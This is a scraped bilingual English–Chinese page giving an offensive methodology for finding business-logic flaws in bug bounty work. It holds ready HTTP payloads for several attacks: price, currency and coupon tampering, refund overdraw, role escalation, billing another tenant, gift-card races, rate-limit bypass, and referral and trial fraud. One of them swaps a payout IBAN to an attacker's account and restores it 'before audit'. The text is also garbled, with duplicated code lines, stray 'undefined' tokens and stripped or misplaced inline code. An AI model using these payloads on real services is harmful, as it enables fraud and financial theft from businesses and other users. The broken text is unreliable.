offensive-business-logic
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseBusiness Logic — Offensive Testing Methodology
Business Logic — 攻击性测试方法论
Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Business logic 缺陷是 bug bounty 中回报最高的一类漏洞,也是扫描器最难检测的一类。它们存在于开发者指定的行为与攻击者能够诱使系统接受的行为之间。
Quick Workflow
快速工作流
- Map every multi-step flow as a state machine (states + allowed transitions + side effects)
- For each transition, ask: who can call it, in what state, with what inputs, how many times
- Probe each axis (state, identity, input, frequency) for assumptions
- Combine flaws — single-axis flaws are usually low severity; chains are critical
- Quantify financial impact per finding (loss-per-attack × scale)
- 将每个 multi-step 流程映射为 state machine(状态 + 允许的转换 + 副作用)
- 对每次转换询问:谁可以调用它?处于什么状态?使用哪些输入?可以调用多少次?
- 沿每个轴(状态、身份、输入、频率)探测其中的假设
- 组合缺陷——单轴缺陷通常严重性较低;漏洞链则可能是 critical
- 量化每个发现项的财务影响(单次攻击损失 × 规模)
Reconnaissance — Mapping the Logic
侦察——梳理逻辑
Build the State Machine
构建 State Machine
For each user flow, draw:
- States: cart, pending payment, paid, shipped, refunded, cancelled
- Transitions: which API/UI action, which role, which preconditions
- Side effects: balance change, inventory change, email, webhook
Look for transitions that:
- Skip intermediate states (→
cartwithoutshipped)paid - Are reversible when they shouldn't be (→
shipped)cart - Trigger side effects more than once
- Allow cross-role invocation
对于每个用户流程,绘制:
- 状态:cart、pending payment、paid、shipped、refunded、cancelled
- 转换:哪个 API/UI 操作、哪个角色、哪些前置条件
- 副作用:余额变化、库存变化、邮件、webhook
寻找存在以下问题的转换:
- 跳过中间状态(→
cart,未经过shipped)paid - 在不应可逆时却可逆(→
shipped)cart - 多次触发副作用
- 允许跨角色调用
Hidden / Internal Endpoints
隐藏 / 内部端点
bash
undefinedbash
undefinedCompare authenticated and unauthenticated JS bundles for buried admin routes
Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
Look for flag/feature toggles that change UI but not server-side enforcement
Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
---curl https://app/api/openapi.json | jq '.paths | keys'
---Workflow / State-Machine Bypass
工作流 / State Machine 绕过
Skip a Required Step
跳过必需步骤
http
undefinedhttp
undefinedNormal flow: /verify-email → /set-password → /enable-2fa → /dashboard
Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
Try jumping directly:
Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
```httpGET /dashboard
GET /api/account/details
POST /api/payout-settings
```httpCheckout flow: /cart → /address → /shipping → /payment → /confirm
Checkout flow: /cart → /address → /shipping → /payment → /confirm
Skip /payment by replaying /confirm with a previous order's payment-token reference:
Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
undefinedPOST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
undefinedReplay a One-Time Action
重放一次性操作
http
undefinedhttp
undefinedRefund endpoint without idempotency
Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
undefinedPOST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
undefinedState Downgrade
状态降级
Move a finalized object back to an editable state where mutations have effect:
http
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }将已最终确定的对象移回可编辑状态,使变更操作产生实际影响:
http
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }Direct Endpoint Invocation
直接调用端点
Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
bash
undefined如果缺少 route-level RBAC,许多管理端/后端转换可由任何已认证用户访问,而 UI 只是将其隐藏。
bash
undefinedEnumerate verbs on every discovered path
Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
---for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
---Price / Quantity / Currency Manipulation
价格 / 数量 / 货币操纵
Negative / Zero / Float Quantities
负数 / 零 / 浮点数量
http
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?http
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?Hidden Price Fields
隐藏价格字段
http
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }If the server trusts client-supplied , you set the price. Test every numeric field — , , , , , , .
pricepricetotaldiscounttaxshippingsubtotalcurrencyhttp
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }如果服务器信任客户端提供的 ,你就能自行设定价格。测试每个数值字段——、、、、、、。
pricepricetotaldiscounttaxshippingsubtotalcurrencyCurrency Confusion
货币混淆
http
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
http
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?查找:缺少货币标准化、汇率缓存处理草率、根据用户输入查询货币。
Coupon / Discount Logic
Coupon / Discount 逻辑
http
undefinedhttp
undefinedApply same coupon multiple times
Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
Coupon for a different product
Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
Expired coupon: change date in payload?
Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
undefinedPOST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
undefinedCart Tampering
购物车篡改
http
undefinedhttp
undefinedAdd a cheap item, edit the SKU server-side
Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
---POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
---Refund / Chargeback / Payout Abuse
Refund / Chargeback / Payout 滥用
Refund More Than You Paid
退款金额超过实付金额
http
POST /api/orders/123/refund { "amount": 99999 }http
POST /api/orders/123/refund { "amount": 99999 }Refund After Returning Less
少退货但申请全额退款
Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
订单发出 5 件商品,你退回 1 件,却申请整单退款。逻辑应按每个退回商品计算退款;如果按订单计算,就能免费获得其余商品。
Convert Refund to Different Method
将退款转换为其他方式
http
POST /api/orders/123/refund { "method": "store-credit" }http
POST /api/orders/123/refund { "method": "store-credit" }vs original card payment → store credit can be transferred / sold
vs original card payment → store credit can be transferred / sold
undefinedundefinedPayout Account Race
Payout 账户竞态
http
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audithttp
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before auditIdentity / Tenant / Role Boundary
身份 / Tenant / Role 边界
Role Confusion via Multipart / Parameter Pollution
通过 Multipart / Parameter Pollution 造成角色混淆
http
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-winshttp
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-winsTenant ID Substitution in Hidden Field
隐藏字段中的 Tenant ID 替换
http
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }http
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }Charges victim-corp for attacker's order
Charges victim-corp for attacker's order
undefinedundefinedMass Assignment / Field Whitelist
Mass Assignment / 字段白名单
http
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }Test every field that exists on the model, not just those the form exposes.
http
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }测试模型上存在的每个字段,而不只是表单公开的字段。
Indirect Privilege via Object Linking
通过对象关联获得间接权限
http
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...http
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...Sharing API meant for collaborators bypasses role check on data API
Sharing API meant for collaborators bypasses role check on data API
---
---Race Conditions on Logic Boundaries
逻辑边界上的 Race Conditions
Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: , .)
offensive-toctouoffensive-race-condition读取状态后再基于该状态执行操作的逻辑检查容易出现 TOCTOU 漏洞。(另见:、。)
offensive-toctouoffensive-race-conditionSingle-Packet Multi-Request
单包多请求
python
undefinedpython
undefinedBurp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
all requests' last frames sent in one TCP segment. Server processes them concurrently.
all requests' last frames sent in one TCP segment. Server processes them concurrently.
undefinedundefinedCommon Logic Races
常见逻辑竞态
| Flow | Race |
|---|---|
| Coupon redemption | N parallel |
| 2FA verification | Submit code N times in parallel before lockout counter increments |
| Withdrawal | Parallel withdraws each see full balance |
| Vote / Like / Reaction | "One per user" check raced |
| Invitation acceptance | Multiple accepts → multiple seats granted |
| Free-trial signup | Parallel signups → multiple trials per email |
| Gift-card redeem | Parallel redeems → multi-spend a single card |
| Inventory reservation | Parallel buys of last item → oversell, supplier covers difference |
| 流程 | 竞态 |
|---|---|
| Coupon redemption | N 个并行的 |
| 2FA verification | 在锁定计数器递增前并行提交验证码 N 次 |
| Withdrawal | 并行提现时每个请求都看到完整余额 |
| Vote / Like / Reaction | “每个用户一次”的检查发生竞态 |
| Invitation acceptance | 多次接受邀请 → 授予多个席位 |
| Free-trial signup | 并行注册 → 同一邮箱获得多个试用资格 |
| Gift-card redeem | 并行兑换 → 多次消费同一张卡 |
| Inventory reservation | 并行购买最后一件库存 → 造成超卖,差价由供应商承担 |
Amplification
放大
python
undefinedpython
undefinedSend 30 parallel "redeem $10 gift card" requests, all see balance = $10
Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
Result: $300 credited from a $10 card
Result: $300 credited from a $10 card
---
---Anti-Automation / Fraud Defeat
反自动化 / 反欺诈
Captcha / Rate Limit Bypass
Captcha / Rate Limit 绕过
| Bypass | Mechanic |
|---|---|
| Token reuse | One captcha solve, replay token across many requests |
| Endpoint mirror | |
| Header rotation | |
| HTTP/2 stream multiplexing | Each stream counted as same conn → window only |
| Method/case variation | |
| 绕过方式 | 机制 |
|---|---|
| Token reuse | 一次完成 captcha,将 token 重放到多个请求 |
| Endpoint mirror | |
| Header rotation | |
| HTTP/2 stream multiplexing | 每个 stream 被计为同一连接 → 只触发窗口期 |
| Method/case variation | |
Device Fingerprint / Velocity
设备指纹 / Velocity
- New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
- Velocity counters (5 logins/hour) often per not per
(userid, ip).userid - Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
- 新设备 → 要求 step-up auth。重放捕获的设备 cookie / FingerprintJS hash。
- Velocity 计数器(每小时 5 次登录)通常按 ,而不是仅按
(userid, ip)计算。userid - 风险分数阈值:小额购买会跳过审核。测试边界($99.99 与 $100)。
Free Trial / Sign-Up Abuse
免费试用 / 注册滥用
http
undefinedhttp
undefinedEmail aliasing
Email aliasing
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing
attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail
attacker@googlemail.com # gmail/googlemail equivalence
Phone number recycling (number-portable VOIP) — identity not unique
Phone number recycling (number-portable VOIP) — identity not unique
Device-ID rotation (mobile testing) — wipe storage, new install
Device-ID rotation (mobile testing) — wipe storage, new install
undefinedundefinedReferral / Reward Loops
推荐 / 奖励循环
http
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign uphttp
POST /api/refer { "email": "a@x.com" } # +$5 to me when they sign upSign up the alias, receive referral
Sign up the alias, receive referral
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
---POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person
---Subscription / Quota / Tier Abuse
Subscription / Quota / Tier 滥用
Tier Downgrade Retains Premium Features
降级 Tier 后仍保留高级功能
http
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?http
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?Mid-Cycle Quota Reset
计费周期中途重置 Quota
http
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cyclehttp
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycleAdd-On Stacking
Add-On 叠加
http
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?http
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?Time-Based Logic
基于时间的逻辑
Time Travel via Headers
通过 Headers 进行时间穿越
http
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800http
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800Promotion Window
促销窗口
Set client-side date to inside the window, server validates parameter. Stale promo cache means yesterday's prices apply today.
X-Promo-Time将客户端日期设置到窗口内,服务器会验证 参数。陈旧的促销缓存可能使昨天的价格沿用至今天。
X-Promo-TimeToken / Session Expiry
Token / Session 过期
Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.
刷新 token 端点若不检查原始 token 的过期时间 → 会话将被无限延长。
Combining Flaws — Where the Crits Live
组合缺陷——Critical 漏洞的所在之处
Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
- Coupon stacking allows × 2 → negative total
100% off - Negative total → store credit issued (refund of "overpayment")
- Store credit transferable to gift card
- Gift card race condition → multiplied
- Gift card redeemable on partner site for cash equivalents
Chain template:
- Find a thing the system gives you (credit, points, slot, seat)
- Find a way to multiply it (race, replay, stacking)
- Find a way to convert it to value (transfer, refund, payout)
单轴发现项颇有意思;而漏洞链才能带来高额回报。
示例漏洞链(真实且已获得奖金的 bug bounty):
- Coupon stacking 允许 × 2 → 产生负数总额
100% off - 负数总额 → 发放 store credit(“多付退款”)
- Store credit 可转移到 gift card
- Gift card race condition → 额度倍增
- Gift card 可在合作站点兑换为现金等价物
漏洞链模板:
- 找出系统会提供给你的东西(credit、points、slot、seat)
- 找出将其倍增的方法(race、replay、stacking)
- 找出将其转换为价值的方法(transfer、refund、payout)
Engagement Approach
参与方式
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.按照以下方式记录每个发现项:前置条件 → 精确请求序列 → 状态变化 → 单次执行的财务影响 → 扩展因子。
Reporting Hooks
报告要点
Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
- A diagram of the intended flow vs. the achieved flow
- A scripted PoC that runs end-to-end (no manual steps)
- A dollar value per execution and a feasibility statement for repeating it
- The fix at the right layer (state machine validator, not just input validation)
Business logic 发现项常因分诊人员不理解漏洞链而被降级。始终包括:
- 预期流程与实际达成流程的对比图
- 可端到端运行的脚本化 PoC(无需手动步骤)
- 每次执行的美元价值,以及重复执行可行性的说明
- 在正确层级实施修复(状态机校验器,而不只是输入验证)
Key References
关键参考
- OWASP WSTG-BUSL — Business Logic Testing chapter
- PortSwigger Web Security Academy: Business logic vulnerabilities track
- MITRE ATT&CK: T1539 (Steal Web Session Cookie), T1078 (Valid Accounts) — for chained access
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md
- OWASP WSTG-BUSL — Business Logic Testing 章节
- PortSwigger Web Security Academy:Business logic vulnerabilities 专题
- MITRE ATT&CK:T1539(Steal Web Session Cookie)、T1078(Valid Accounts)——用于链式访问
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md